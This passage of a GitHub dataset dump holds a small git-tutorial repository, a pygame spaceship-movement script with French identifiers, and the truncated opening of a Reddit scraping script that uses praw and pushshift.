}\n]","isConversational":false},"num_files":{"kind":"number","value":32,"string":"32"}}},{"rowIdx":2978345,"cells":{"repo_name":{"kind":"string","value":"DishantNaik/GitTutProj"},"repo_url":{"kind":"string","value":"https://github.com/DishantNaik/GitTutProj"},"snapshot_id":{"kind":"string","value":"047cf2b8032b72ff7055cb8bd029a05342843255"},"revision_id":{"kind":"string","value":"ea35bad388a31d2585f8805f2c5123f3d97a8382"},"directory_id":{"kind":"string","value":"0c26dc9209ab0787586ce6d852d6240a058703a4"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2022-07-10T17:10:22.771180","string":"2022-07-10T17:10:22.771180"},"revision_date":{"kind":"timestamp","value":"2020-05-08T22:22:36","string":"2020-05-08T22:22:36"},"committer_date":{"kind":"timestamp","value":"2020-05-08T22:22:36","string":"2020-05-08T22:22:36"},"github_id":{"kind":"number","value":262438700,"string":"262,438,700"},"star_events_count":{"kind":"number","value":1,"string":"1"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.7529411911964417,"alphanum_fraction":0.7529411911964417,"avg_line_length":27.33333396911621,"blob_id":"492e49f81fcf59f283120dbdd646789b0e5cdb6b","content_id":"594350ea307ca4501c45aafb89a5f52df28f982c","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":85,"license_type":"no_license","max_line_length":33,"num_lines":3,"path":"/sample1.py","repo_name":"DishantNaik/GitTutProj","src_encoding":"UTF-8","text":"print(\"Learning git\")\nprint(\"Just another sample file\")\nprint(\"Version in mybranch\")\n"},{"alpha_fraction":0.8142856955528259,"alphanum_fraction":0.8142856955528259,"avg_line_length":34,"blob_id":"462b9ba96b164164968a82cd7e1576b9e3559b19","content_id":"e9bc0a59e1553e8f72dbbb743f386f03a0af830f","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":70,"license_type":"no_license","max_line_length":56,"num_lines":2,"path":"/README.md","repo_name":"DishantNaik/GitTutProj","src_encoding":"UTF-8","text":"# GitTutProj\nThis repo is created for git and GitHub learning purpose\n"},{"alpha_fraction":0.699999988079071,"alphanum_fraction":0.7142857313156128,"avg_line_length":22.33333396911621,"blob_id":"e1399c34f42043a1f0af3b53f2a026c6df891ff6","content_id":"7dded1224994232a347a1273608bdfc00f194515","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":70,"license_type":"no_license","max_line_length":28,"num_lines":3,"path":"/sample.py","repo_name":"DishantNaik/GitTutProj","src_encoding":"UTF-8","text":"print(\"sample git proj\")\nprint(\"line 2\")\nprint(\"Version in mybranch\")\n"}],"string":"[\n {\n \"alpha_fraction\": 0.7529411911964417,\n \"alphanum_fraction\": 0.7529411911964417,\n \"avg_line_length\": 27.33333396911621,\n \"blob_id\": \"492e49f81fcf59f283120dbdd646789b0e5cdb6b\",\n \"content_id\": \"594350ea307ca4501c45aafb89a5f52df28f982c\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 85,\n \"license_type\": \"no_license\",\n \"max_line_length\": 33,\n \"num_lines\": 3,\n \"path\": \"/sample1.py\",\n \"repo_name\": \"DishantNaik/GitTutProj\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"print(\\\"Learning git\\\")\\nprint(\\\"Just another sample file\\\")\\nprint(\\\"Version in mybranch\\\")\\n\"\n },\n {\n \"alpha_fraction\": 0.8142856955528259,\n \"alphanum_fraction\": 0.8142856955528259,\n \"avg_line_length\": 34,\n \"blob_id\": \"462b9ba96b164164968a82cd7e1576b9e3559b19\",\n \"content_id\": \"e9bc0a59e1553e8f72dbbb743f386f03a0af830f\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 70,\n \"license_type\": \"no_license\",\n \"max_line_length\": 56,\n \"num_lines\": 2,\n \"path\": \"/README.md\",\n \"repo_name\": \"DishantNaik/GitTutProj\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# GitTutProj\\nThis repo is created for git and GitHub learning purpose\\n\"\n },\n {\n \"alpha_fraction\": 0.699999988079071,\n \"alphanum_fraction\": 0.7142857313156128,\n \"avg_line_length\": 22.33333396911621,\n \"blob_id\": \"e1399c34f42043a1f0af3b53f2a026c6df891ff6\",\n \"content_id\": \"7dded1224994232a347a1273608bdfc00f194515\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 70,\n \"license_type\": \"no_license\",\n \"max_line_length\": 28,\n \"num_lines\": 3,\n \"path\": \"/sample.py\",\n \"repo_name\": \"DishantNaik/GitTutProj\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"print(\\\"sample git proj\\\")\\nprint(\\\"line 2\\\")\\nprint(\\\"Version in mybranch\\\")\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":3,"string":"3"}}},{"rowIdx":2978346,"cells":{"repo_name":{"kind":"string","value":"benja971/SpaceWar"},"repo_url":{"kind":"string","value":"https://github.com/benja971/SpaceWar"},"snapshot_id":{"kind":"string","value":"3e61cf1d7906cfbae6de4c3bf0dec68863109bb8"},"revision_id":{"kind":"string","value":"710589df21c1254e24a65517d08fb38857c178b1"},"directory_id":{"kind":"string","value":"7a89f03854c13d96c266f0dcdfa27e95d1e0fbef"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-05-21T01:50:57.819964","string":"2021-05-21T01:50:57.819964"},"revision_date":{"kind":"timestamp","value":"2020-04-02T22:23:53","string":"2020-04-02T22:23:53"},"committer_date":{"kind":"timestamp","value":"2020-04-02T22:23:53","string":"2020-04-02T22:23:53"},"github_id":{"kind":"number","value":252493416,"string":"252,493,416"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.6435871720314026,"alphanum_fraction":0.6682021021842957,"avg_line_length":26.247058868408203,"blob_id":"62746397e7f7af58cfda4f54bfb1e51f0bcb3fb1","content_id":"e4673f485aeaab4bdb6a891d0aebba71531f76b5","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":6947,"license_type":"no_license","max_line_length":82,"num_lines":255,"path":"/Vaisseau.py","repo_name":"benja971/SpaceWar","src_encoding":"UTF-8","text":"import pygame, json, os\nfrom random import randint, random\nfrom ctypes import windll\nwindll.shcore.SetProcessDpiAwareness(1)\n\npygame.init()\n\nlargeur, hauteur = 1920, 1080\nfenetre = pygame.display.set_mode((largeur,hauteur), flags = pygame.FULLSCREEN)\n\n\ndef getImgBank(path: str) -> dict:\n\t\"\"\"Return a dict containing all images in a folder with recursion.\"\"\"\n\td = {}\n\tfor f in os.listdir(path):\n\t\tif len(f) > 4 and f[-4:] in ('.png', '.jpg'):\n\t\t\td[f[:-4]] = pygame.image.load(f'{path}/{f}').convert_alpha()\n\t\telse:\n\t\t\td[f] = getImgBank(f'{path}/{f}')\n\treturn d\n\nbank = getImgBank(\"images\")\n\nclass ElementGraphique():\n\t# Le constructeur basique\n\tdef __init__(self, img, x, y):\n\t\tself.image = img\n\t\tself.rect = self.image.get_rect()\n\t\tself.rect.x = x \n\t\tself.rect.y = y \n\n\tdef Afficher(self, window) :\n\t\twindow.blit(self.image, self.rect)\n\n\nclass Perso(ElementGraphique):\n\tdef __init__(self, img, x, y):\n\t\tsuper(Perso, self).__init__(img, x, y)\n\t\tself.vie = 1\n\t\tself.vitesse = 10\n\t\tself.angle = 0\n\t\tself.anglemax = 0\n\n\tdef Deplacer(self, touches, largeur, hauteur):\n\t\tif touches[pygame.K_d] and self.rect.x <= largeur-self.rect.w:\n\t\t\tself.rect.x += self.vitesse\n\t\tif touches[pygame.K_a] and self.rect.x >= 0:\n\t\t\tself.rect.x -= self.vitesse\n\t\tif touches[pygame.K_w] and self.rect.y >= 0:\n\t\t\tself.rect.y -= self.vitesse\n\t\tif touches[pygame.K_s] and self.rect.y <= hauteur-self.rect.h:\n\t\t\tself.rect.y += self.vitesse\n\n\tdef Orientation(self,N,S,E,W,NE,NW,SE,SW):\n\t\tprint(self.anglemax, self.angle, end = '\\r')\t\n\n\t\tif N:\n\t\t\tif 46<=self.angle<=180:\n\t\t\t\tself.anglemax = 0\n\n\t\t\telif 180<self.angle<=316:\n\t\t\t\tself.anglemax = 360\n\n\t\t\tif self.angle < self.anglemax:\n\t\t\t\tself.angle+=2\n\t\t\t\tfenetre.blit(pygame.transform.rotate(bank[\"tile000\"], -self.angle), self.rect)\n\n\t\t\telif self.angle > self.anglemax:\n\t\t\t\tself.angle-=2\n\t\t\t\tfenetre.blit(pygame.transform.rotate(bank[\"tile000\"], -self.angle), self.rect)\n\t\t\t\n\t\t\telif self.angle == self.anglemax:\n\t\t\t\tfenetre.blit(pygame.transform.rotate(bank[\"tile000\"], -self.angle), self.rect)\n\n\n\t\tif S:\n\t\t\tself.anglemax = 180\n\n\t\t\tif self.angle < self.anglemax:\n\t\t\t\tself.angle+=2\n\t\t\t\tfenetre.blit(pygame.transform.rotate(bank[\"tile000\"], -self.angle), self.rect)\n\n\t\t\telif self.angle > self.anglemax:\n\t\t\t\tself.angle-=2\n\t\t\t\tfenetre.blit(pygame.transform.rotate(bank[\"tile000\"], -self.angle), self.rect)\n\t\t\t\n\t\t\n\t\t\telif self.angle == self.anglemax:\n\t\t\t\tfenetre.blit(pygame.transform.rotate(bank[\"tile000\"], -self.angle), self.rect)\n\n\t\tif E:\n\t\t\tif self.angle == 360:\n\t\t\t\tself.angle = 0\n\n\t\t\tself.anglemax = 90\n\n\t\t\tif self.angle < self.anglemax:\n\t\t\t\tself.angle+=2\n\t\t\t\tfenetre.blit(pygame.transform.rotate(bank[\"tile000\"], -self.angle), self.rect)\n\n\t\t\telif self.angle > self.anglemax:\n\t\t\t\tself.angle-=2\n\t\t\t\tfenetre.blit(pygame.transform.rotate(bank[\"tile000\"], -self.angle), self.rect)\n\t\t\t\n\t\t\telif self.angle == self.anglemax:\n\t\t\t\tfenetre.blit(pygame.transform.rotate(bank[\"tile000\"], -self.angle), self.rect)\n\n\n\t\tif W:\n\t\t\tif self.angle == 0:\n\t\t\t\tself.angle = 360\n\t\t\t\t\n\t\t\tself.anglemax = 270\n\n\t\t\tif self.angle < self.anglemax:\n\t\t\t\tself.angle+=2\n\t\t\t\tfenetre.blit(pygame.transform.rotate(bank[\"tile000\"], -self.angle), self.rect)\n\n\t\t\telif self.angle > self.anglemax:\n\t\t\t\tself.angle-=2\n\t\t\t\tfenetre.blit(pygame.transform.rotate(bank[\"tile000\"], -self.angle), self.rect)\n\t\t\t\n\t\t\telif self.angle == self.anglemax:\n\t\t\t\tfenetre.blit(pygame.transform.rotate(bank[\"tile000\"], -self.angle), self.rect)\n\n\n\t\tif NW:\n\t\t\tif self.angle == 0:\n\t\t\t\tself.angle = 360\n\t\t\tself.anglemax = 316\n\n\t\t\tif self.angle < self.anglemax:\n\t\t\t\tself.angle+=2\n\t\t\t\tfenetre.blit(pygame.transform.rotate(bank[\"tile000\"], -self.angle), self.rect)\n\n\t\t\telif self.angle > self.anglemax:\n\t\t\t\tself.angle-=2\n\t\t\t\tfenetre.blit(pygame.transform.rotate(bank[\"tile000\"], -self.angle), self.rect)\n\t\t\t\n\t\t\telif self.angle == self.anglemax:\n\t\t\t\tfenetre.blit(pygame.transform.rotate(bank[\"tile000\"], -self.angle), self.rect)\n\n\t\tif NE:\n\t\t\tself.anglemax = 46\n\n\t\t\tif self.angle < self.anglemax:\n\t\t\t\tself.angle+=2\n\t\t\t\tfenetre.blit(pygame.transform.rotate(bank[\"tile000\"], -self.angle), self.rect)\n\n\t\t\telif self.angle > self.anglemax:\n\t\t\t\tself.angle-=2\n\t\t\t\tfenetre.blit(pygame.transform.rotate(bank[\"tile000\"], -self.angle), self.rect)\n\t\t\t\n\t\t\telif self.angle == self.anglemax:\n\t\t\t\tfenetre.blit(pygame.transform.rotate(bank[\"tile000\"], -self.angle), self.rect)\n\n\n\t\tif SE:\n\t\t\tself.anglemax = 136\n\n\t\t\tif self.angle < self.anglemax:\n\t\t\t\tself.angle+=2\n\t\t\t\tfenetre.blit(pygame.transform.rotate(bank[\"tile000\"], -self.angle), self.rect)\n\n\t\t\telif self.angle > self.anglemax:\n\t\t\t\tself.angle-=2\n\t\t\t\tfenetre.blit(pygame.transform.rotate(bank[\"tile000\"], -self.angle), self.rect)\n\t\t\t\n\t\t\telif self.angle == self.anglemax:\n\t\t\t\tfenetre.blit(pygame.transform.rotate(bank[\"tile000\"], -self.angle), self.rect)\n\n\t\tif SW:\n\t\t\tself.anglemax = 226\n\n\t\t\tif self.angle < self.anglemax:\n\t\t\t\tself.angle+=2\n\t\t\t\tfenetre.blit(pygame.transform.rotate(bank[\"tile000\"], -self.angle), self.rect)\n\n\t\t\telif self.angle > self.anglemax:\n\t\t\t\tself.angle-=2\n\t\t\t\tfenetre.blit(pygame.transform.rotate(bank[\"tile000\"], -self.angle), self.rect)\n\t\t\t\n\t\t\telif self.angle == self.anglemax:\n\t\t\t\tfenetre.blit(pygame.transform.rotate(bank[\"tile000\"], -self.angle), self.rect)\n\t\t\n\n\tdef Direction(self, touches, N,S,E,W,NE,NW,SE,SW):\n\t\tif touches[pygame.K_d]: #E\n\t\t\tN,S,E,W,NE,NW,SE,SW = False,False,True,False,False,False,False,False\n\t\t\t\n\t\tif touches[pygame.K_a]: #W\n\t\t\tN,S,E,W,NE,NW,SE,SW = False,False,False,True,False,False,False,False\n\n\t\tif touches[pygame.K_w]: #N\n\t\t\tN,S,E,W,NE,NW,SE,SW = True,False,False,False,False,False,False,False\n\t\t\t\n\t\tif touches[pygame.K_s]: #S\n\t\t\tN,S,E,W,NE,NW,SE,SW = False,True,False,False,False,False,False,False\n\t\t\t\t\n\t\tif touches[pygame.K_w] and touches[pygame.K_a]: #NW\n\t\t\tN,S,E,W,NE,NW,SE,SW = False,False,False,False,False,True,False,False\n\t\t\t\n\t\tif touches[pygame.K_w] and touches[pygame.K_d]: #NE\n\t\t\tN,S,E,W,NE,NW,SE,SW = False,False,False,False,True,False,False,False\n\n\t\tif touches[pygame.K_s] and touches[pygame.K_a]: #SW\n\t\t\tN,S,E,W,NE,NW,SE,SW = False,False,False,False,False,False,False,True\n\n\t\tif touches[pygame.K_s] and touches[pygame.K_d]: #SE\n\t\t\tN,S,E,W,NE,NW,SE,SW = False,False,False,False,False,False,True,False\n\n\t\treturn N,S,E,W,NE,NW,SE,SW\n\n\tdef enVie(self):\n\t\tif self.vie <= 0:\n\t\t\treturn False\n\t\treturn True\n\n\n\n\nfondjeu = ElementGraphique(bank[\"background\"], 0, 0)\nperso = Perso(bank[\"tile000\"], 960, 540)\t\n\nN,S,E,W,NE,NW,SE,SW = True,False,False,False,False,False,False,False\n\nhorloge = pygame.time.Clock()\ni = 0\n\nstate = 'Jeu'\ncontinuer = True\n\nwhile continuer:\n\thorloge.tick(30)\n\ti+=1\n\n\ttouches = pygame.key.get_pressed()\n\n\tif touches[pygame.K_ESCAPE] :\n\t\tcontinuer=0\n\n\tfor event in pygame.event.get():\n\t\tif event.type == pygame.QUIT:\n\t\t\tcontinuer = 0\n\n\tif state == \"Jeu\":\n\n\t\tfondjeu.Afficher(fenetre)\n\t\tN,S,E,W,NE,NW,SE,SW = perso.Direction(touches, N,S,E,W,NE,NW,SE,SW)\n\t\tperso.Orientation(N,S,E,W,NE,NW,SE,SW)\n\t\tperso.Deplacer(touches, largeur, hauteur)\n\n\tpygame.display.update()\n\npygame.quit()"}],"string":"[\n {\n \"alpha_fraction\": 0.6435871720314026,\n \"alphanum_fraction\": 0.6682021021842957,\n \"avg_line_length\": 26.247058868408203,\n \"blob_id\": \"62746397e7f7af58cfda4f54bfb1e51f0bcb3fb1\",\n \"content_id\": \"e4673f485aeaab4bdb6a891d0aebba71531f76b5\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 6947,\n \"license_type\": \"no_license\",\n \"max_line_length\": 82,\n \"num_lines\": 255,\n \"path\": \"/Vaisseau.py\",\n \"repo_name\": \"benja971/SpaceWar\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import pygame, json, os\\nfrom random import randint, random\\nfrom ctypes import windll\\nwindll.shcore.SetProcessDpiAwareness(1)\\n\\npygame.init()\\n\\nlargeur, hauteur = 1920, 1080\\nfenetre = pygame.display.set_mode((largeur,hauteur), flags = pygame.FULLSCREEN)\\n\\n\\ndef getImgBank(path: str) -> dict:\\n\\t\\\"\\\"\\\"Return a dict containing all images in a folder with recursion.\\\"\\\"\\\"\\n\\td = {}\\n\\tfor f in os.listdir(path):\\n\\t\\tif len(f) > 4 and f[-4:] in ('.png', '.jpg'):\\n\\t\\t\\td[f[:-4]] = pygame.image.load(f'{path}/{f}').convert_alpha()\\n\\t\\telse:\\n\\t\\t\\td[f] = getImgBank(f'{path}/{f}')\\n\\treturn d\\n\\nbank = getImgBank(\\\"images\\\")\\n\\nclass ElementGraphique():\\n\\t# Le constructeur basique\\n\\tdef __init__(self, img, x, y):\\n\\t\\tself.image = img\\n\\t\\tself.rect = self.image.get_rect()\\n\\t\\tself.rect.x = x \\n\\t\\tself.rect.y = y \\n\\n\\tdef Afficher(self, window) :\\n\\t\\twindow.blit(self.image, self.rect)\\n\\n\\nclass Perso(ElementGraphique):\\n\\tdef __init__(self, img, x, y):\\n\\t\\tsuper(Perso, self).__init__(img, x, y)\\n\\t\\tself.vie = 1\\n\\t\\tself.vitesse = 10\\n\\t\\tself.angle = 0\\n\\t\\tself.anglemax = 0\\n\\n\\tdef Deplacer(self, touches, largeur, hauteur):\\n\\t\\tif touches[pygame.K_d] and self.rect.x <= largeur-self.rect.w:\\n\\t\\t\\tself.rect.x += self.vitesse\\n\\t\\tif touches[pygame.K_a] and self.rect.x >= 0:\\n\\t\\t\\tself.rect.x -= self.vitesse\\n\\t\\tif touches[pygame.K_w] and self.rect.y >= 0:\\n\\t\\t\\tself.rect.y -= self.vitesse\\n\\t\\tif touches[pygame.K_s] and self.rect.y <= hauteur-self.rect.h:\\n\\t\\t\\tself.rect.y += self.vitesse\\n\\n\\tdef Orientation(self,N,S,E,W,NE,NW,SE,SW):\\n\\t\\tprint(self.anglemax, self.angle, end = '\\\\r')\\t\\n\\n\\t\\tif N:\\n\\t\\t\\tif 46<=self.angle<=180:\\n\\t\\t\\t\\tself.anglemax = 0\\n\\n\\t\\t\\telif 180<self.angle<=316:\\n\\t\\t\\t\\tself.anglemax = 360\\n\\n\\t\\t\\tif self.angle < self.anglemax:\\n\\t\\t\\t\\tself.angle+=2\\n\\t\\t\\t\\tfenetre.blit(pygame.transform.rotate(bank[\\\"tile000\\\"], -self.angle), self.rect)\\n\\n\\t\\t\\telif self.angle > self.anglemax:\\n\\t\\t\\t\\tself.angle-=2\\n\\t\\t\\t\\tfenetre.blit(pygame.transform.rotate(bank[\\\"tile000\\\"], -self.angle), self.rect)\\n\\t\\t\\t\\n\\t\\t\\telif self.angle == self.anglemax:\\n\\t\\t\\t\\tfenetre.blit(pygame.transform.rotate(bank[\\\"tile000\\\"], -self.angle), self.rect)\\n\\n\\n\\t\\tif S:\\n\\t\\t\\tself.anglemax = 180\\n\\n\\t\\t\\tif self.angle < self.anglemax:\\n\\t\\t\\t\\tself.angle+=2\\n\\t\\t\\t\\tfenetre.blit(pygame.transform.rotate(bank[\\\"tile000\\\"], -self.angle), self.rect)\\n\\n\\t\\t\\telif self.angle > self.anglemax:\\n\\t\\t\\t\\tself.angle-=2\\n\\t\\t\\t\\tfenetre.blit(pygame.transform.rotate(bank[\\\"tile000\\\"], -self.angle), self.rect)\\n\\t\\t\\t\\n\\t\\t\\n\\t\\t\\telif self.angle == self.anglemax:\\n\\t\\t\\t\\tfenetre.blit(pygame.transform.rotate(bank[\\\"tile000\\\"], -self.angle), self.rect)\\n\\n\\t\\tif E:\\n\\t\\t\\tif self.angle == 360:\\n\\t\\t\\t\\tself.angle = 0\\n\\n\\t\\t\\tself.anglemax = 90\\n\\n\\t\\t\\tif self.angle < self.anglemax:\\n\\t\\t\\t\\tself.angle+=2\\n\\t\\t\\t\\tfenetre.blit(pygame.transform.rotate(bank[\\\"tile000\\\"], -self.angle), self.rect)\\n\\n\\t\\t\\telif self.angle > self.anglemax:\\n\\t\\t\\t\\tself.angle-=2\\n\\t\\t\\t\\tfenetre.blit(pygame.transform.rotate(bank[\\\"tile000\\\"], -self.angle), self.rect)\\n\\t\\t\\t\\n\\t\\t\\telif self.angle == self.anglemax:\\n\\t\\t\\t\\tfenetre.blit(pygame.transform.rotate(bank[\\\"tile000\\\"], -self.angle), self.rect)\\n\\n\\n\\t\\tif W:\\n\\t\\t\\tif self.angle == 0:\\n\\t\\t\\t\\tself.angle = 360\\n\\t\\t\\t\\t\\n\\t\\t\\tself.anglemax = 270\\n\\n\\t\\t\\tif self.angle < self.anglemax:\\n\\t\\t\\t\\tself.angle+=2\\n\\t\\t\\t\\tfenetre.blit(pygame.transform.rotate(bank[\\\"tile000\\\"], -self.angle), self.rect)\\n\\n\\t\\t\\telif self.angle > self.anglemax:\\n\\t\\t\\t\\tself.angle-=2\\n\\t\\t\\t\\tfenetre.blit(pygame.transform.rotate(bank[\\\"tile000\\\"], -self.angle), self.rect)\\n\\t\\t\\t\\n\\t\\t\\telif self.angle == self.anglemax:\\n\\t\\t\\t\\tfenetre.blit(pygame.transform.rotate(bank[\\\"tile000\\\"], -self.angle), self.rect)\\n\\n\\n\\t\\tif NW:\\n\\t\\t\\tif self.angle == 0:\\n\\t\\t\\t\\tself.angle = 360\\n\\t\\t\\tself.anglemax = 316\\n\\n\\t\\t\\tif self.angle < self.anglemax:\\n\\t\\t\\t\\tself.angle+=2\\n\\t\\t\\t\\tfenetre.blit(pygame.transform.rotate(bank[\\\"tile000\\\"], -self.angle), self.rect)\\n\\n\\t\\t\\telif self.angle > self.anglemax:\\n\\t\\t\\t\\tself.angle-=2\\n\\t\\t\\t\\tfenetre.blit(pygame.transform.rotate(bank[\\\"tile000\\\"], -self.angle), self.rect)\\n\\t\\t\\t\\n\\t\\t\\telif self.angle == self.anglemax:\\n\\t\\t\\t\\tfenetre.blit(pygame.transform.rotate(bank[\\\"tile000\\\"], -self.angle), self.rect)\\n\\n\\t\\tif NE:\\n\\t\\t\\tself.anglemax = 46\\n\\n\\t\\t\\tif self.angle < self.anglemax:\\n\\t\\t\\t\\tself.angle+=2\\n\\t\\t\\t\\tfenetre.blit(pygame.transform.rotate(bank[\\\"tile000\\\"], -self.angle), self.rect)\\n\\n\\t\\t\\telif self.angle > self.anglemax:\\n\\t\\t\\t\\tself.angle-=2\\n\\t\\t\\t\\tfenetre.blit(pygame.transform.rotate(bank[\\\"tile000\\\"], -self.angle), self.rect)\\n\\t\\t\\t\\n\\t\\t\\telif self.angle == self.anglemax:\\n\\t\\t\\t\\tfenetre.blit(pygame.transform.rotate(bank[\\\"tile000\\\"], -self.angle), self.rect)\\n\\n\\n\\t\\tif SE:\\n\\t\\t\\tself.anglemax = 136\\n\\n\\t\\t\\tif self.angle < self.anglemax:\\n\\t\\t\\t\\tself.angle+=2\\n\\t\\t\\t\\tfenetre.blit(pygame.transform.rotate(bank[\\\"tile000\\\"], -self.angle), self.rect)\\n\\n\\t\\t\\telif self.angle > self.anglemax:\\n\\t\\t\\t\\tself.angle-=2\\n\\t\\t\\t\\tfenetre.blit(pygame.transform.rotate(bank[\\\"tile000\\\"], -self.angle), self.rect)\\n\\t\\t\\t\\n\\t\\t\\telif self.angle == self.anglemax:\\n\\t\\t\\t\\tfenetre.blit(pygame.transform.rotate(bank[\\\"tile000\\\"], -self.angle), self.rect)\\n\\n\\t\\tif SW:\\n\\t\\t\\tself.anglemax = 226\\n\\n\\t\\t\\tif self.angle < self.anglemax:\\n\\t\\t\\t\\tself.angle+=2\\n\\t\\t\\t\\tfenetre.blit(pygame.transform.rotate(bank[\\\"tile000\\\"], -self.angle), self.rect)\\n\\n\\t\\t\\telif self.angle > self.anglemax:\\n\\t\\t\\t\\tself.angle-=2\\n\\t\\t\\t\\tfenetre.blit(pygame.transform.rotate(bank[\\\"tile000\\\"], -self.angle), self.rect)\\n\\t\\t\\t\\n\\t\\t\\telif self.angle == self.anglemax:\\n\\t\\t\\t\\tfenetre.blit(pygame.transform.rotate(bank[\\\"tile000\\\"], -self.angle), self.rect)\\n\\t\\t\\n\\n\\tdef Direction(self, touches, N,S,E,W,NE,NW,SE,SW):\\n\\t\\tif touches[pygame.K_d]: #E\\n\\t\\t\\tN,S,E,W,NE,NW,SE,SW = False,False,True,False,False,False,False,False\\n\\t\\t\\t\\n\\t\\tif touches[pygame.K_a]: #W\\n\\t\\t\\tN,S,E,W,NE,NW,SE,SW = False,False,False,True,False,False,False,False\\n\\n\\t\\tif touches[pygame.K_w]: #N\\n\\t\\t\\tN,S,E,W,NE,NW,SE,SW = True,False,False,False,False,False,False,False\\n\\t\\t\\t\\n\\t\\tif touches[pygame.K_s]: #S\\n\\t\\t\\tN,S,E,W,NE,NW,SE,SW = False,True,False,False,False,False,False,False\\n\\t\\t\\t\\t\\n\\t\\tif touches[pygame.K_w] and touches[pygame.K_a]: #NW\\n\\t\\t\\tN,S,E,W,NE,NW,SE,SW = False,False,False,False,False,True,False,False\\n\\t\\t\\t\\n\\t\\tif touches[pygame.K_w] and touches[pygame.K_d]: #NE\\n\\t\\t\\tN,S,E,W,NE,NW,SE,SW = False,False,False,False,True,False,False,False\\n\\n\\t\\tif touches[pygame.K_s] and touches[pygame.K_a]: #SW\\n\\t\\t\\tN,S,E,W,NE,NW,SE,SW = False,False,False,False,False,False,False,True\\n\\n\\t\\tif touches[pygame.K_s] and touches[pygame.K_d]: #SE\\n\\t\\t\\tN,S,E,W,NE,NW,SE,SW = False,False,False,False,False,False,True,False\\n\\n\\t\\treturn N,S,E,W,NE,NW,SE,SW\\n\\n\\tdef enVie(self):\\n\\t\\tif self.vie <= 0:\\n\\t\\t\\treturn False\\n\\t\\treturn True\\n\\n\\n\\n\\nfondjeu = ElementGraphique(bank[\\\"background\\\"], 0, 0)\\nperso = Perso(bank[\\\"tile000\\\"], 960, 540)\\t\\n\\nN,S,E,W,NE,NW,SE,SW = True,False,False,False,False,False,False,False\\n\\nhorloge = pygame.time.Clock()\\ni = 0\\n\\nstate = 'Jeu'\\ncontinuer = True\\n\\nwhile continuer:\\n\\thorloge.tick(30)\\n\\ti+=1\\n\\n\\ttouches = pygame.key.get_pressed()\\n\\n\\tif touches[pygame.K_ESCAPE] :\\n\\t\\tcontinuer=0\\n\\n\\tfor event in pygame.event.get():\\n\\t\\tif event.type == pygame.QUIT:\\n\\t\\t\\tcontinuer = 0\\n\\n\\tif state == \\\"Jeu\\\":\\n\\n\\t\\tfondjeu.Afficher(fenetre)\\n\\t\\tN,S,E,W,NE,NW,SE,SW = perso.Direction(touches, N,S,E,W,NE,NW,SE,SW)\\n\\t\\tperso.Orientation(N,S,E,W,NE,NW,SE,SW)\\n\\t\\tperso.Deplacer(touches, largeur, hauteur)\\n\\n\\tpygame.display.update()\\n\\npygame.quit()\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":1,"string":"1"}}},{"rowIdx":2978347,"cells":{"repo_name":{"kind":"string","value":"cludlow1/wsbDD"},"repo_url":{"kind":"string","value":"https://github.com/cludlow1/wsbDD"},"snapshot_id":{"kind":"string","value":"15c3673ecb8d91e85f7db1e601c9c5ff73182416"},"revision_id":{"kind":"string","value":"abf61fb12040b4c09d6fe1d4f230c94f0fd59fdd"},"directory_id":{"kind":"string","value":"6b33ed8ceacda468a668c818bc87104cc11827cf"},"branch_name":{"kind":"string","value":"refs/heads/main"},"visit_date":{"kind":"timestamp","value":"2023-02-22T21:03:31.704547","string":"2023-02-22T21:03:31.704547"},"revision_date":{"kind":"timestamp","value":"2021-02-01T02:33:41","string":"2021-02-01T02:33:41"},"committer_date":{"kind":"timestamp","value":"2021-02-01T02:33:41","string":"2021-02-01T02:33:41"},"github_id":{"kind":"number","value":324068775,"string":"324,068,775"},"star_events_count":{"kind":"number","value":2,"string":"2"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.6650115847587585,"alphanum_fraction":0.6732869744300842,"avg_line_length":38.75,"blob_id":"a0a9a1b957ef952aa0d0929f954e476aeb3c2a58","content_id":"95d6b35333266c7f2767c540368fcf8af310ef82","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":3021,"license_type":"no_license","max_line_length":150,"num_lines":76,"path":"/goToReddit.py","repo_name":"cludlow1/wsbDD","src_encoding":"UTF-8","text":"import pandas as pd\nimport praw\nimport requests #Pushshift accesses Reddit via an url so this is needed\nimport json #JSON manipulation\nimport csv #To Convert final table into a csv file to save to your machine\nimport time\nfrom datetime import datetime,timezone,timedelta\nfrom dateutil.relativedelta import relativedelta\n\n#allSubs is a global dictionary for all functions?\nallSubs = {}\n\ndef usingPraw(postID):\n #as of right now im only 